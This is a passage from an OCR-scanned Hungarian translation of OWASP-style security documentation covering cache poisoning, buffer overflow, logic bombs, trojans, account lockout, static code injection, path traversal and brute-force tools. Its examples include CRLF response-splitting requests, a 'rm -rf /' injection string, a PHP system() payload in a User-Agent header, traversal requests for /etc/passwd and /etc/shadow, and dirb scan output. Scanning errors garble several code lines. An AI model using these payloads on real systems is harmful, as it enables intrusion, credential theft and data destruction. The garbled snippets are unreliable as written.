A Befecskendezés — Kozvetlen statikus kod befecskendezése” (Injection - Direct Static
Code Injection)
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A Utkeresztezési tamadés” (Path Traversal Attack)

A Probalgatos technoldgidk — nyers erd tdmadas” (Probabilistic Techniques - Brute
force attack)

A Protokol manipulédcio — http valasz szétvalasztas” (Protocol Manipulation - Http
Response Splitting)

A Forras kimerités — aszimmetrikus eréforrasok elfogyasztasa (erdsités)” (Resource
Depletion - Asymmetric resource consumption (amplification))

A Erdforras manipulacioé — kémprogram” (Resource Manipulation — Spyware)

A Szimatold tdmadas — Halozati lehallgatas” (Sniffing Attacks - Network
Eavesdropping)

A Atverés — oldalakon keresztiili kérelem hamisitas (CSRF)” (Spoofing - Cross-Site
Request Forgery (CSRF))

6.1.1 Miiko6dés ellehetetlenitése - Cache Mérgezés
Leiras

A karosan felépitett valasz hatdsa folnagyithatd, ha egy tobb felhasznald altal haszndlt web
cache tdrolja vagy akdar egyetlen egy felhaszndlé bongészé cache-e. Ha egy vdlaszt egy
megosztott web cache-ben tarolnak, mint példaul amik legtobbszor talalhatéak a proxy
szerverekben, akkor a cache minden hasznaldja mindaddig a karos tartalmat fogja kapni,
amig a cache bejegyzést ki nem tisztitottdk. Ehhez hasonldéan, ha a valaszt egy egyéni
felhasznald bongészGje cache-eli (tarolja), akkor az a felhasznalé mindaddig a karos tartalmat
fogja kapni, amig a cache bejegyzést meg nem tisztitottdk, ebben az esetben csak a helyi
bongész6 masolata lesz érintve.

Hogy egy ilyen tdmadas sikeres legyen, a tdmaddnak a kovetkez6ket kell tennie:

e Megtaldlni a sebezhet§ service kddot, amin keresztil tobb fejléccel terhelheti meg a
http fejléc mezgjét.

e Rdakényszeriteni a cache szervert, hogy flush-olja az aktudlis cache tartalmat, amit
szeretnénk, hogy cache-eljen a szerver.

e Kiildeni egy specialisan elkészitett kérelmet, amit a cache tarolni fog.

e Kildeni a kovetkezé kérelmet. A korabban befecskendezett, a cache-ben eltarolt
tartalom lesz a valasz erre a kérelemre.

Ez a fajta tamadas meglehet6sen nehezen kivitelezhet6 valds kornyezetben. A sziikséges
feltételek listdja hosszu és nehezen teljesitheté a tdmadd altal. Ennek ellenére még mindig
egyszerlibb ezt a technikdt haszndlni, mint a Felhaszndlok Kézétti Elcsufitdst (Cross-User
Defacement).
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A Cache Mérgezés tamadds a HTTP Valasz Szétvdlasztas (HTTP_Response Splitting) és a

haldzati alkalmazdas hibdi miatt lehetséges. A tdmadd szempontjabdl |étfontossagu, hogy az
alkalmazas engedélyezze a fejléc mez6 feltdltését tobb fejléccel a Kocsi Visszatérés (CR
(Carrige Return)) és a Sor Betaplaldsa (LF (Line Feed)) karaktereket hasznalva.

Példa:

Taldltunk egy weblapot, ami a szolgdltatasi nevét a ,page” argumentumtdl kapja, aztan
visszairanyit (302) ehhez a kiszolgaléhoz.

pl.: http://testsite.com/redir.php?page=http://other.testsite.com/

A redir.php példa kodja:

rezos@dojo ~/public_html $ cat redir.php
<?php

header ("Location: " . $§ GET['page']);

7>

A megfeleld kérelem elkészitése: [1]

1 — a lap eltavolitasa a cache-bél

GET http://testsite.com/index.html HTTP/1.1

Pragma: no-cache

Host: testsite.com

User-Agent: Mozilla/4.7 [en] (WinNT; I)

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*

Accept-Encoding: gzip

Accept-Language: en

Accept-Charset: is0-8859-1,* utf-8

A HTTP fejléc mezok - "Pragma: no-cache" vagy "Cache-Control: no-cache" — eltavolitjak a
lapot a cache-bol (mar ha tarolva volt benne természetesen).

2 —a HTTP Valasz Szétvalasztast hasznalva arra kényszeritjiik a cache szervert, hogy
két valaszt generaljon egy kérelemre.

GET http://testsite.com/redir.php?site=%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%200K %0d%0aLast-
Modified:%20Mon,%2027%200ct%202009%2014:50:18%20GMT%0d%0aConte
nt-Length:%2020%0d%0aContent-
Type:%20text/htm1%0d%0a%0d%0a<htmI>deface!</html> HTTP/1.1
Host: testsite.com

User-Agent: Mozilla/4.7 [en] (WinNT; I)

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*

Accept-Encoding: gzip

Accept-Language: en

Accept-Charset: 1s0-8859-1,* utf-8
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Szandékosan allitjuk be a jovo 1dot (a fejlécben 2009. oktober 27-re van allitva) a masodik
valasz HTTP fejléc ,,Last-Modified” mezdjében, hogy taroljuk a valaszt a cache-ben.

Ezt a hatast megkaphatjuk a kovetkez6 fejlécek beallitasaval:

A Last-Modified [Utoljara-Modositva] (Az ,,If-Modified-Since” fejléc ellendrzi)
A ETag (Az ,Jf-None-Match” fejléc ellendrzi)

3 —kiildjiink kérelmet a lapnak, amit szeretnénk kicserélni a szerver cache-ében

GET http://testsite.com/index.html HTTP/1.1

Host: testsite.com

User-Agent: Mozilla/4.7 [en] (WinNT; I)

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*

Accept-Encoding: gzip

Accept-Language: en

Accept-Charset: is0-8859-1,* utf-8

Elméletben a cache szervernek 6ssze kellene parositania a masodik valaszt a kettes
kérelembdl a harmas kérelemmel. Igy kicseréltiik a cache tartalmat.

A kérelem maradékét egyetlen kapcsolat alatt kivitelezni lehet (hacsak a cache szerver nem
igényli kifinomultabb modszer hasznalatat), valoszintileg az egyiket azonnal a masik utan.

Ennek a tdmadasnak a hasznalata problémasnak tlinhet, ha altalanos Cache Mérgezési
megoldasként szeretnénk hasznalni. Ez a cache szerverek kiilonb6z6 kapcsolati modellje és
kérelem feldolgozasi megolddsa miatt van igy. Mit jelent ez? Példaul azt, hogy az a mddszer,
amivel az Apache 2.x cache-ét a mod proxy és mod cache modulokkal hatékonyan tudjuk
mérgezni, nem fog mitkddni a Squid esetében.

Egy mésik probléma az URI hossza, ami idénként lehetetlenné teszi, hogy betegyiik a
sziikséges valasz fejlécet, amit legkdzelebb a kérelemhez kellene parositani a megmérgezett
laphoz.

Az felhasznalt kérelem példék az alabbi linken'" talalhaté dokumentumbol szarmaznak és a
cikk sziikségleteinek megfelelden lettek modositva.

Az alabbi dokumentumban b&vebben olvashat ezekrdl a tdmadasi fajtakrol:
Mhttp://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf, készitette: Amit
Klein, Director of Security and Research

6.2 Adatszerkezet tamadas - Bindris forras fajl tultéltése

6.2.1 Leiras

A buffer tulcsordulas forrasa a bevitt adat lehet. Amikor a binaris forras file taltoltéssel
probalkozik, a timadonak ugy kell modositania/elékészitenie a bindris fajlt, hogy miutan az
alkalmazas beolvasta, kiszolgaltatotta valjon egy klasszikus Buffer tilcsordulas tamadasnak
(Buffer overflow attack). Az egyetlen kiilonbség ez ¢és a klasszikus tipus kozott a bevitt adat
forrasaban van. A leggyakoribb példak a kiilonlegesen elkészitett MP3, JPEG vagy ANI
fajlok, amik buffer tulcsordulast okoznak.

6.2.2 Példak
Az alkalmazas kiolvassa az elsé 8 karaktert a binaris fajlbol.

rezos@dojo-labs ~/owasp/binary $ cat read_binary _file.c
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#include <stdio.h>
#include <string.h>

int main(void)
{
FILE *f;
char p[8];
char b[8];

f = fopen("file.bin", "r");
fread(b, sizeof(b), 1, f);
fclose();

strepy(p, b);
printf("%s\n", p);

return 0;

}

A létrehozott fajl tobb, mint 8 karaktert tartalmaz.

rezos@dojo-labs ~/owasp/binary $ cat file.bin
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

Egy ujabb, futtatasra tett probalkozas utan az alkalmazas a kovetkezovel leall:

rezos@dojo-labs ~/owasp/binary $ ./read binary _file
Segmentation fault

Hiba. Vajon buffer tulcsordulds tortént?

rezos@dojo-labs ~/owasp/binary $ gdb -q ./read_binary_file
Using host libthread db library "/lib/libthread db.so.1".

(gdb) r

Starting program: /home/rezos/owasp/binary/read binary file

Program received signal SIGSEGV, Segmentation fault.
0xb7e4b9e3 in strcpy () from /1ib/libc.so.6

Igen, ez egy buffer tulcsordulas volt a strcpy() fiiggvényben.
Miért?
fread(b, sizeof(b), 1, f); - karaktereket olvas a ,,stream f, sizeof(b)”-bdl egyszer a b

bufferbe. Ez teljesen rendben 1évOnek tiinik. De val6jaban nincs hely egy "\0' szamara, ami
lezarja a sztringet.

Az strepy(p, b); végrehajtasa kozben, amikor mindkét buffer egyenld, megtorténik a
tulcsordulas. Ennek az oka a null bajt, mint végkarakter hidnya a b bufferben. A strcpy()
fliggvény mindent be fog mésolni a b[0]-t6] kezdve a p[] bufferbe egészen a null bajtig. A
tamado egy specialis f3jl elkészitésével sikeresen véghezvitte a buffer tulcsordulas timadast.
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A Hasznaljunk egyenértéki, biztonsagos fiiggvényeket, amik ellendrzik a buffer hosszat
amikor csak lehetséges.
Mégpedig:
A gets() -> fgets()
A strepy() -> strnepy()

A strcat() -> strncat()
A sprintf() -> snprintf()

A Azokat a fliggvényeket, amiknek nincs biztonsagos verziojuk, at kell irni oly médon,
hogy tartalmazzanak biztonsagi ellendrzéseket. Az erre szant id6 meg fog tériilni a
jovoben. Emlékezzen ra, hogy ezt csak egyszer kell megcsinalnia.

A Olyan forditokat kell hasznalni, amik képesek azonositani a nem biztonsagos
figgvényeket, logikai fiiggvényeket €s ellendrzik, hogy a memoria nincs-e atirva
olyan helyen, ahol nem szabadna.

6.3 Kartékony kdd beagyazasa - Logikai/Idozitett bomba

6.3.1 Leiras

A fenyegetd kozeg a ,,tamadok”™ egy olyan csoportja, ami tamadast hajt végre. Lehetnek
emberi (szandékosak vagy szandékolatlanok) vagy természetes eredetiiek (aradas, tliz, stb.).

1. A fenyegetd kozeg egy mondatos leirdsaval kezdddik.
2. Kik azok az emberek, akikbdl ez a fenyegetési kozeg felépiil?
3. Meg kell vitatni a fenyegetd kozeg jellemzdit.

6.3.2 Kockazati tényezdok
A Beszéljiink azokrdl a tényezokrdl (factors), amik ezt a fenyegetd kozeget valdszinlileg
vagy kevésbé valdsziniileg tdmadasra birjak.
A Biztosan sz6t kell ejteni a fenyegetd kozeg méretérdl, motivacidjarol, képességeirdl és
lehetdségeirdl.

6.4 Trojai

6.4.1 Leiras

A Trdjai olyan program ami megbizhat6 alkalmazéasnak dlcdzva tartalmaz artalmas kodot. Az
artalmas kod lehet egyébként hasznos alkalmazas része, rejtézhet egy elektronikus levél
hivatkozasa mogott vagy el lehet rejtve JavaScript-et futtatd oldalakon, hogy titkos
tamadasokat intézzen sebezhetd internet bongészok ellen.

Tovabbi részleteket az Ember-a-bongészd-tamadasok-mogott (Man-in-the-browser attack)
cimi részben olvashat.

6.4.2 A Trojai 7 f6 tipusa
1. Tavoli Hozzaférési Tréjai (Remote Access Trojan; RAT): Arra tervezték, hogy teljes
iranyitasd biztositson a tdAmadonak a fert6zott szamitogép folott. Ezt a Trojait dltaldban
segédprogramnak alcazzak.
2. Adatkiildé Trdéjai (Data Sending Trojan): Ez a fajta Trojai valamilyen
billentylilenyomas-rogzitd (keylogger) technoldgiat hasznal, hogy értékes adatokra
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tegyen szert, példaul jelszavakra, hitelkartya €és netbank adatokra vagy azonnali
uzenetekre, amiket aztan visszakiild a tamadonak.

3. Megsemmisité Tréjai (Destructive Trojan): Trojai, amit arra terveztem, hogy az
aldozat gépén tarolt adatokat megsemmisitse.

4. Proxy Tréjai (Proxy Trojan): Ennek a Trdjainak az a célja, hogy proxy szerverként
hasznalja az dldozat szamitogépét, lehetdséget biztositva arra, hogy tiltott dolgokat
cselekedjen a fert6zott géprol, példaul banki csaldssal probalkozzon vagy akar karos
tamadasokat inditson az interneten keresztiil.

5. FTP Tréjai (FTP Trojan): Ez a Trojai a 21-es porton keresztiil csatlakozva lehetové
teszi a tdimado szamara, hogy FTP kapcsolatot 1étesitsen az aldozat gépével.

6. Biztonsagi szoftver hatastalanité Trdjai (Security software disabler Trojan): Ezt a
Trojait arra tervezték, hogy semlegesitse a tlizfalakhoz és virusirté programokhoz
hasonlo biztonsagi programokat, lehetové téve ez altal a timadonak, hogy tobbfajta
invazios technoldgiat is hasznalhasson az aldozat szamitogépére vald behatoldshoz és
hogy még a szamitogépen tali eszkozoket is megfertzze.

7. Szolgaltatas-megtagadas tamado Tréjai (Denial-of-Service attack Trojan): Ezt a
Trojait arra tervezték, hogy lehetséget biztositson a tamadonak Szolgaltatas-
megtagadasi tamadas kivitelezésére az dldozat szamitogépérdl.

6.4.3 Tunetek
Néhany gyakori tiinet:

A A hattérkép vagy mas hattérbeallitds magatol megvaltozik

A Az egérmutat6 eltiinik

A A programok maguktdl betoltddnek és kilépnek

A Alland6an furcsa figyelmeztetd ablakok, iizenetek és kérdés dobozok jelennek meg
A Az e-mail kliens magatol leveleket kiild mindenkinek a felhasznal6 cimlistajara

A A Windows magatol leall

A A rendszer magatol gjraindul

A Az internet hozzaférés adatai megvaltoznak

A A felhasznal6 ez iranyu tevékenysége nélkiil is nagy az internetkapcsolat terheltsége
A A szamitdgép miikddése nagyon nagy eréforrasokat emészt fel (a szamitogép lelassul)
A A Ctrl + Alt + Del gombkombinacié nem miikodik

6.4.4 Kockazati tényezok

Magas: A Troéjai at tud torni barmilyen biztonsagi védelmet a hal6zatban, mivel a tdmado
hozzaférhet egy, a halozati bejelentkezéshez sziikséges, tarolt tantisitvanyokkal ellatott
munkaéllomashoz. Ezeknek a birtokdban a timadé az egész haldzatot veszélyeztetheti.

6.5 Azonositasi folyamat kihasznalasa - Account Kizarasi tamadas

6.5.1 Leiras

Egy account kizarési tamadaskor a behatold megprobalja kizarni az 6sszes felhasznaloi
accountot, altalaban oly modon, hogy tobb alkalommal hibas bejelentkezést produkal, mint
amennyi a bejelentkeztetd rendszer tiiréshatara. Ha példaul egy felhasznalé harom hibés
bejelentkezési probalkozassal zarja ki az account-jat a rendszerbdl, akkor a tdmadé nemes
egyszerliséggel ugy zarja ki az account-jaikat, hogy haromszor hibas hibas bejelentkezést
produkal. Ez a fajta tdimadas nagymértékl szolgaltatas-megtagadasi timadast eredményezhet,
ha minden felhasznaloi account ki van zarva, foként akkor, ha az accountok visszaallitasa
komoly mennyiségli munkat igényel.
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6.5.2 Példaul: eBay tamadas
Az account kizarasi timadasokat arra hasznaljak, hogy kihasznaljdk azokat a
bejelentkeztetd rendszereket, amik érzékenyek a szolgaltatds-megtagadasra. Az egyik
hires ilyesfajta timadés az eBay-t érte. Az eBay kordbban megjelenitette a legmagasabb
licitet tart6 felhasznald azonositojat (azota ezt mar megvaltoztattak). Az arverés utolso
perceiben valaki megprobalt belépni a legmagasabb licitet tartd felhasznald nevében
harom alkalommal. A harom sikertelen probalkozas utan az eBay jelszé védelme életbe
1épett és kizarta a legmagasabb licitet tartd hozzaférését egy idore. A tdmado igy
megtehette a sajat ajanlatat, az aldozat pedig nem tudott folémenni az ajanlatnak, mert
éppen ki volt zarva a rendszerbdl. Ezaton a timad6 megnyerte az arverést.

6.6 Befecskendezés - Kozvetlen statikus kod befecskendezése

6.6.1 Leiras

A kozvetlen statikus kod befecskendezése altali tdmadas abbol 4ll, hogy a kddot kozvetlentiil
az alkalmazas altal hasznalt er6forrasba juttatjak bele, mikdzben egy felhasznalo kérelme
éppen feldolgozas alatt van. Ez altalaban ugy torténik, hogy befolyasoljak a konyvtar és
sémafijlokat, amik a felhaszndloi kérelemnek megfelelden lettek 1étrehozva az adatok
megfelel6 megvalasztasa nélkiil. Egy, a modositott eréforrashoz beérkezo felhasznaloi
kérelem esetén a benne foglalt cselekvés végrehajtodik a szerveroldalon a web szerver
folyamatéanak a fiiggvényében.

A szerver oldali besztras (Server Side Includes) egy tipusa a kdzvetlen statikus kod
befecskendezésének. Ez nem dsszekeverendo a tobbi fajta kod befecskendezéssel, mint
amilyen az XSS (,,Kereszt-helyszini szkriptelés” vagy ,,HTML befecskendezés™), aminél a
kod a kliens oldalan hajtodik végre.

6.6.2 Példak

Példa 1

Ez az egyszerli példa a CGISCRIPT.NET csSearch 2.3 egyik gyengeségének a kihasznalasat
mutatja be, amit a Bugtraqg-on jelentettek meg, 4368-as azonositoszam alatt. A kovetkez6
URL szerverre valo meghivasaval lehetséges a ***’setup’’’ valtozoban meghatarozott
parancsokat végrehajtani.

csSearch.cgi?command=savesetup&setup=PERL CODE _HERE

299

A klasszikus példa szerint a kovetkezd parancsot arra lehet hasznélni, hogy minden f4;jlt
eltavolitsunk a “/” konyvtarbol:

csSearch.cgi?command=savesetup&setup="rm%o20-rf%20/°
Tegylik hozza, hogy a fonti parancsnak kodolva kell lennie, hogy elfogadhat6 legyen.

Példa 2

Ez a példa egy, az Ultimate PHP Board (UPB) 1.9 (CVE-2003-0395)-ben 1év6 sebezhetd
pontot hasznal ki, lehetdvé téve a tamadonak, hogy véletlenszeriien futtasson php kodokat.
Mindezt azért teszi, mert néhany, a felhasznalohoz tartozo véltozo, mint példaul az IP-cim
vagy a User-Agent egy olyan fajlban tarolédnak, amit az admin_iplog.php oldal hasznal, hogy
felhasznaloi statisztikdkat mutasson. Amikor egy adminisztrator ezt a lapot hasznalja, akkor a
korabban egy karos kérelem altal befecskendezett kod végrehajtodik. A kdvetkezo példa egy
artalmas php kodot tartalmaz, ami belerondit az index.php lapba, amikor az adminisztrator az
admin_iplog.php-t futtatja.
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GET /board/index.php HTTP/1.0
User-Agent: <? system( "echo \'hacked\' > ../index.html" ); 7>

6.7 ,Utkeresztezési tamadas” (Path Traversal Attack)

6.7.1 AtteKintés

Az ,utkeresztezési tamadasok™ olyan fajlok és konyvtarak elérését célozzak, amik a halozati
gyokér (web root) konyvtaron kiviil vannak eltarolva. Az alkalmazas bongészése kozben a
tamado olyan kozvetlen hivatkozasokat keres, ami a web szerveren tarolt fajlokra mutatnak. A
,» -/ sorozatot és valtozoit tartalmazo fajlok manipulalasaval lehetséges lehet tetszdleges
olyan fajlhoz vagy konyvtarhoz hozzaférni, ami a fajlrendszerben van tarolva, beleértve az
alkalmazasok forraskddjait , konfiguracids- €s a rendszer mitkédése szempontjabol kritikus
egyeb fajlokat, amit csak a rendszer hozzaférési miiveletek korlatoznak. A tdmado “../”
sorozatokat hasznal, hogy f6ljebb 1épjen a gydkérkonyvtarba és igy lehetové tegye a
fajlrendszerben val6 mozgast.

Ezt a tAmadast egy olyan kiils6 artalmas kod befecskendezésével lehet kivitelezni, ami a
Resource Ijection (Forras befecskendezés) tamadastipus altal kitaposott 0svényt hasznalja. A
tamadas kivitelezéséhez nem sziikséges kiilonleges eszkdzok hasznalata; a behatol6 altaldban
valamilyen internetes fiirkészt (web spider/crawler) hasznal, hogy felderitse az 0sszes
hasznalhat6 URL-t.

Ezt a tamadast tobb néven is ismerik, példaul:
A “dot-dot-slash” (,,pont-pont-vesszécske™)
A “directory traversal” (,,konyvtdrkeresztezés”)
A “directory climbing”(,,konyvtarmdaszas™)
A “backtracking” (,,visszakovetés”™).

6.7.2 Leiras

Kérelem valtozatok
Kodoléas és dupla kodolas:

%2e%2e%2f Jjelentése =
%2e%2e/ Jjelentése |
9021 Jjelentése |
%2e%2e%5c¢ jelentése o\
%2e%2e\ Jjelentése o\
..%5¢ Jjelentése o\
%252e%252e%255¢ jelentése o\
..%255¢ Jjelentése o\
és igy tovabb...

»Szazalékos kodolas (mas néven URL kodolas)” (Percent encoding (aka URL encoding))

Megjegyzés: a web tarolok egy szintnyi kodolast hajtanak végre a form-okrol és az URL-ekrol
szarmazo szazalékosan kodolt értékeken.

.%c0%af  jelentése =
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.%cl1%9¢c  jelentése .\

Operacios rendszer specifikusan
UNIX
Gyokérkonyvtar: «/«
Konyvtar elvélaszto: «/ “
WINDOWS
Gyokérkonyvtar: “ <partici6 bettijele> : \
Konyvtarelvalaszto: “/ “ vagy “\”

Megjegyzés: a Windows engedi, hogy a fajlneveket raadas . \/karakterek kovessék.

A legtobb operacios rendszerben null bajtokat (%00) lehet injektalni a fajlnév lezarasa
céljabol. Példaul a kovetkezd paraméter elkiildése:

?file=secret.doc%00.pdf

azt eredményezi, hogy a Java alkalmazas ugy latja, hogy a sztring ,,.pdf’-el ér véget, mig az
operacids rendszer ugy latja, hogy a fjl végén ".doc" all. A tamadok ezt a triikkot arra
hasznalhatjdk, hogy atjussanak az érvényesitd rutinon.

6.7.3 Példak

Példa 1
A kovetkezd példa megmutatja, hogy az alkalmazés hogyan banik a hasznalatban 1év6
er6forrasokkal:

http://some_site.com.br/get-files.jsp?file=report.pdf
http://some_site.com.br/get-page.php?home=aaa.html
http://some_site.com.br/some-page.asp?page=index.html

Ebben a példaban lehetséges olyan artalmas sztringet beilleszteni, mint valtoz6 paramétert,
hogy hozzaférjiink a webes kdnyvtaron kiviili fajlokhoz.

http://some_site.com.br/get-files?file=../../../../some dir/some file
http://some_site.com.br/../../../../some dir/some file

A kovetkezd URL-ek a *NIX jelsz6 fajl kihasznalasanak példajat mutatjak be:
http://some_site.com.br/../../../../etc/shadow

http://some_site.com.br/get-files?file=/etc/passwd

Megjegyzés: Windows kornyezetben a timado csak azon a particidon mozoghat, amin a webes
gyokérkonyvtar is talalhato, mig Linux kornyezetben az egész merevlemezt bejarhatja.

Példa 2
Lehetséges ezentul kiilsé webhelyen talalhat6 fajlok és szkriptek belefoglalasa is.

http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-
code.php
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Példa 3
Ez a példa azt az esetet mutatja be, mikor a timado arra kényszeritette a szervert, hogy
megmutassa a CGI forraskodot.

http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi
Példa 4
Ez a példa a Wikipedia - Directory Traversal oldalrol lett tovabbgongydlitve
A sebezhetd alkalmazas kddjanak tipikus példaja:
<7php
$template = 'blue.php';
if (is_set( $ COOKIE['TEMPLATE' ))
$template =$ COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
7>
Ez ellen a rendszer ellen a kdvetkezd HTTP kérelmet lehet tdimadasként hasznalni:
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../..]..]..[etc/passwd
A kovetkezd szerver valaszt generaljuk:
HTTP/1.0 200 OK
Content-Type: text/html

Server: Apache

root:fi3sED951bqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:{8fk3;10I1f31.:182:100:Developer:/home/users/phpguru/:/bin/csh

Az ismételt . ./ karakterek a /home/users/phpguru/templates/ utan azt okoztak, hogy
a include() atkeriiljon a gyokérkonyvtarba €s tartalmazza az /ete/passwd UNIX jelszo fajlt.

A UNIX etc/passwd egy szokésos f4jl arra, hogy bemutassuk a directory traversal-t, mivel a
szamitogépes kaldzok gyakran hasznaljak arra, hogy jelszavakat torjenek fel.
6.7.4 ,Abszolut utkeresztezés” (Absolute Path Traversal)

A kovetkezd URL-ek érzékenyek lehetnek erre a tamadasra:
http://testsite.com/get.php?{=list

http://testsite.com/get.cgi?{=2

http://testsite.com/get.asp?f=test

A tdmado a kovetkezé mddon kivitelezhet egy ilyen tAmadast:
http://testsite.com/get.php?f=/var/www/html/get.php
http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc
http://testsite.com/get.asp?f=/etc/passwd
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Amikor a web szerver a webes alkalmazas hibait tartalmazo6 informacidval tér vissza, akkor a
tamadonak sokkal egyszertiibb kitaldlni a pontos helyet (vagyis a forrdskodot tartalmazo
fajlhoz vezetd utat, amit aztdn megjelenithet).

6.8 ,Probalgatasos technikak - Nyers Eré tamadas” (Probabilistic
Techniques - Brute force attack)

6.8.1 Leiras

Ezzel a fajta timadassal a behatol6 megprobalja gy megkeriilni a biztonsagi
mechanizmusokat, hogy nagyon kevés informacidval rendelkezik roluk. A kovetkezé modok
valamelyikét hasznalhatja:

konyvtar tamadas (mutacidkkal vagy anélkiil) (dictionary attack (with or without mutations))

nyers-erd tdmadas (megadott csoportl karakterekkel, példaul: alfanumerikus, kiilonleges,
,,case-sensitive”) (brute-force attack )

A tdmado6 megprobalja elérni a céljat. A megfeleld paraméterek (egy bizonyos modszer, a
probalkozasok szama, a rendszer hatékonysaga) figyelembe vételével, amik levezénylik a
tamadast a behatold megjoésolhatja, hogy meddig kell tartania a tiamadasnak. A nem nyers-er6
tamadasok (non brute-force attacks), amikben mindenféle karakter szerepel, nem
kecsegtetnek biztos sikerrel.

6.8.2 Példak

A Nyers-er6 tamadasokat leginkabb arra hasznaljak, hogy megtippeljék a jelszavakat és
megkeriiljék a hozzaférési ellendrzéseket. Mindemellett sok olyan eszkdz van, amik ezt a
technologiat hasznaljak, hogy a tdmado részérdl hasznosnak vélt informaciokat gyljtsenek ki
bizonyos web szolgaltatasok katalogusaibol. Nagyon sok esetben a tamadasok célpontjai a
kiilonboz6 formatumokban 1évé adatok (GET/POST) és a felhasznéloi Session-1D-k.

Példa 1

Az elsé forgatokonyvben, ahol az a Nyers-erd célja, hogy megtudjuk a jelszot kodolatlan
forméaban. Ugy tiinik, hogy a John the Ripper egy nagyon hasznos eszkoz. A 10 legjobb
jelszotord kiilonbozé modszerekkel, tobbek kdzott Nyers-erdvel dolgoznak. Ezek
megtaldlhat6 az alabbi oldalon:

http://sectools.org/crackers.html

A web szolgaltatasok tesztelésére a kovetkezd eszk6zok allnak rendelkezésre:
A dirb (http://sourceforge.net/projects/dirb/)
A WebRoot (http://www.cirt.dk/tools/webroot/WebRoot.txt)

A dirb-hoz fejlettebb eszkozok is tartoznak. A segitségével képesek lehetiink:

A cooky-kat beallitani

barmilyen HTTP fejlécet hozzaadni

PROXY-t hasznalni

megtalalt objektumokat mutalni

http(s) kapcsolatokat tesztelni

katalogusokban és fajlokban keresni meghatarozott konyvtarak és sémak segitségével
¢s még ezeknél sokkal tobbre is

- > > > >

A legegyszeriibben elvégezhetd teszt a kdvetkezo:
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rezos@dojo ~/d/owasp_tools/dirb § ./dirb http://testsite.test/
DIRB v1.9

By The Dark Raver

START TIME: Mon Jul 9 23:13:16 2007

URL _BASE: http://testsite.test/

WORDLIST FILES: wordlists/common.txt

SERVER BANNER: lighttpd/1.4.15

NOT_EXISTANT CODE: 404 [NOT FOUND]

(Location: " - Size: 345)

Generating Wordlist...
Generated Words: 839

---- Scanning URL: http://testsite.test/ ----
FOUND: http://testsite.test/phpmyadmin/
(***) DIRECTORY (*)

Az adatkivitelnél a timado értesiil rola, hogy a phpmyadmin/ katalogus megtalalasra kertilt. A
tdmado, aki tudja ezt, most mar végrehajthatja a tdimadést ezen az alkalmazéason. A dirb sémai
kozott — tobbek kozott — van olyan konyvtar, ami érvénytelen httpd konfiguraciokrol
tartalmaz informaciot. Ez a konyvtar folfedezi az ilyesfajta gyengeségeket.

Az egyik a 6 probléma a dirb-h6z hasonl6 eszkozokkel a felismerés, hogyha a szervertdl
kapott valasz mindig megbizhat6. A fejlettebb szerver konfiguraciok segitségével (mint
amilyen a mod rewrite) az automatizalt eszk6zok nem tudjék eldonteni, hogy a szerver
valasza hibat jelez vagy pedig az eszkdz megtalalta a tamado altal keresett fajlt.

A CIRT.DK altal irt WebRoot.pl alkalmazas beépitett szerver mechanizmusokat tartalmaz
arra, hogy kielemezze a szerver valaszait és a tamad¢ altal megadott frazis alapjan
megmondja, hogy a szerveren van-e azt tartalmazo fajl.

Példaul:
Np.

/WebRoot.pl -noupdate -host testsite.test -port 80 -verbose -match "test" -url
"/private/<BRUTE>" -incremental lowercase -minimum 1 -maximum 1

000000000000000000000000000000000000000000000000

0 Webserver Bruteforcing 1.8 0

O w#sckidk FOR PENETRATION USE ONLY kst ()

0 sk o sk sk sk sk sk sk sk sk s sk sk sk sk sk sk sk sk s sk sk sk sk sk sk sk sk sk sk sk sk sk sk ke sk s skoskoskoskok 0

0 (c)2007 by Dennis Rand - CIRT.DK o
000000000000000000000000000000000000000000000000

[X] Checking for updates - NO CHECK
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[X] Checking for False Positive Scan - OK
[X] Using Incremental -OK
[X] Starting Scan - OK

GET /private/b HTTP/1.1

GET /private/z HTTP/1.1

[X] Scan complete -OK
[X] Total attempts - 26
[X] Sucessfull attempts -1

000000000000000000000000000000000000000000000000

2

A WebRoot.pl egy fajlt talalt, a "/private/b"-t, a testsite.test-en, ami tartalmazza a ,,test
frazist.

Egy masik példa arra, hogy megvizsgéljuk a valtozo értékeinek tartomanyat:

/WebRoot.pl -noupdate -host testsite.test -port 80 -verbose -diff "Error" -url
"/index.php?id=<BRUTE>" -incremental integer -minimum 1 -maximum 1

6.8.3 Védelmi eszk6zok
»Php Nyers-eré-tamadas érzékel6” (Php-Brute-Force-Attack Detector)

http://yehg.net/lab/prOjs/files.php/php_brute force detect.zip

Felismeri, hogy a web szervert vizsgalja-e valamilyen Nyer-er6t hasznal6 eszkoz, mint
amilyen a Wfuzz vagy az OWASP DirBuster, illetve vizsgaljak-e sebezhetdség érzékeldk,
mint a Nessus, a Nikto, az Acunetix, stb. Ez segit gyorsan azonositani a probalkozé rossz
fiukat, akik ki akarjak hasznalni a biztonsagi pajzs réseit.

http://yvehg.net/lab/pr0js/tools/php-brute-force-detector-readme.pdf

6.8.4 ,Protokol Manipulacio - http Valasz Elosztas” (Protocol Manipulation - Http
Response Splitting)

6.8.4.1 Leirds
HTTP valasz elosztas (HTTP response splitting) torténik, amikor:

A Adat keriil a webes alkalmazésba rendezetlen forrason keresztiil, ami legtobbszor egy
HTTP kérelem.

A Az adat egy HTTP valasz fejlécben szerepel, amit egy web hasznalonak kiildtek
anélkiil, hogy a karos karaktereket ellendrzése megtortént volna.

A ,,HTTP response splitting” a befejezés egy modja, nem pedig a befejezés maga. Alapjaiban
véve a tamadas meglehetdsen egyszerii: a timado karos adatot tovabbit egy sebezhetd
alkalmazasnak, az alkalmazas pedig beleteszi az adatot a HTTP valasz fejlécébe.

A sikeres tamadas érdekében, az alkalmazasnak engedélyeznie kell az olyan adatbevitelt, ami
